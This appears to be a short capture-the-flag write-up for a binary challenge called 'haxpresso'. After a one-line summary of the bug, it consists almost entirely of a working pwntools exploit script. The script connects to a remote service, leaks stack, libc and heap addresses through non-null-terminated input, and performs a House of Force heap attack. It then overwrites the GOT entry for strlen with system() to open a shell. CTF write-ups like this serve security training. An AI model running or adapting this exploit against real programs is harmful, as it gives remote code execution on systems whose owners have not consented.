Vuln: Input not null terminated. Address leaks through stack data copied over to heap along with input. Followed by House of Force.Script:```from pwn import *
context.log_level = 'debug'context.terminal = ['tmux', 'splitw' , '-h']
#p = process('haxpresso')p = remote('52.30.206.11', 1337)b = ELF('./haxpresso')l = ELF('./libc.so')
"""gdb.attach(p, '''b *0x8048dfd
''')"""
def add_order(drink, add_name='n', name=""):    p.sendline('1')    p.recvuntil('drink: ')    p.sendline(str(drink))    p.recvuntil("(y/n): ")    p.sendline(add_name)    if add_name=='y':        p.recvuntil("name: ")        p.send(name)    return p.recvuntil("> ")
def edit_order(idx, name):    p.sendline('4')    p.recvuntil('edit: ')    p.sendline(str(idx))    p.recvuntil('order: ')    p.send(name)    return p.recvuntil("> ")
def rem_order(idx):    p.sendline('2')    p.recvuntil('remove: ')    p.sendline(str(idx))    return p.recvuntil("> ")
def checkout(idx, new, finish_yn, change_yn='n'):    p.sendline('3')    o = ""    if not new:        o = p.recvuntil('(y/n): ')        p.sendline(change_yn)        if change_yn=='y':            p.recvuntil('id: ')            p.sendline(str(idx))        else:            p.recvuntil('(y/n): ')            p.sendline(finish_yn)            o+=p.recvuntil('> ')            return o    p.recvuntil('id: ')    p.sendline(str(idx))    p.recvuntil('(y/n): ')    p.sendline(finish_yn)    o+=p.recvuntil('> ')    return o
def update_firmware(size, data, note):    p.sendline('0')    p.recvuntil('size: ')    p.sendline(str(size))    p.recvuntil('data: ')    p.send(data)    p.recvuntil('note: ')    p.send(note)    p.interactive()
add_order(1, add_name='y', name="A") #0checkout(0, True, 'n')leak = checkout(0, False, 'y').split('\n')[4].replace('Name: A', '')stackaddr = u32(leak[7:11])log.info("Stack addr: " + hex(stackaddr))libcaddr = u32("\x00" + leak[0:3])libcbase = libcaddr + (0xf7de9000-0xf7df6600)log.info("Libc addr: " + hex(libcaddr))
add_order(1, add_name='y', name="\n"*72+ "\x00") #1payload = ""payload += "\x00"*(72-len(payload))edit_order(1, payload)
add_order(1, add_name='y', name="BBBB\x00") #2add_order(1, add_name='y', name="CCCC\x00") #3
edit_order(2, "X"*28)
checkout(2, True, 'n')heapaddr = u32(checkout(2,False,'n').split('\n')[4].replace("Name: " + "X"*28, '')[0:4])log.info("Heap addr: " + hex(heapaddr))
top = heapaddr + 0x8
log.info("Stack addr: " + hex(stackaddr))log.info("Heap addr: " + hex(heapaddr))log.info("Libc addr: " + hex(libcbase))log.info("Top: " + hex(top))
edit_order(2, "X"*52 + p32(0xffffffff))
victim = b.symbols.got['strlen']-0x8offset = victim - top -0x8
got = p32(libcbase + l.symbols['system'])
update_firmware(offset, "/bin/sh\x00", got)p.interactive()```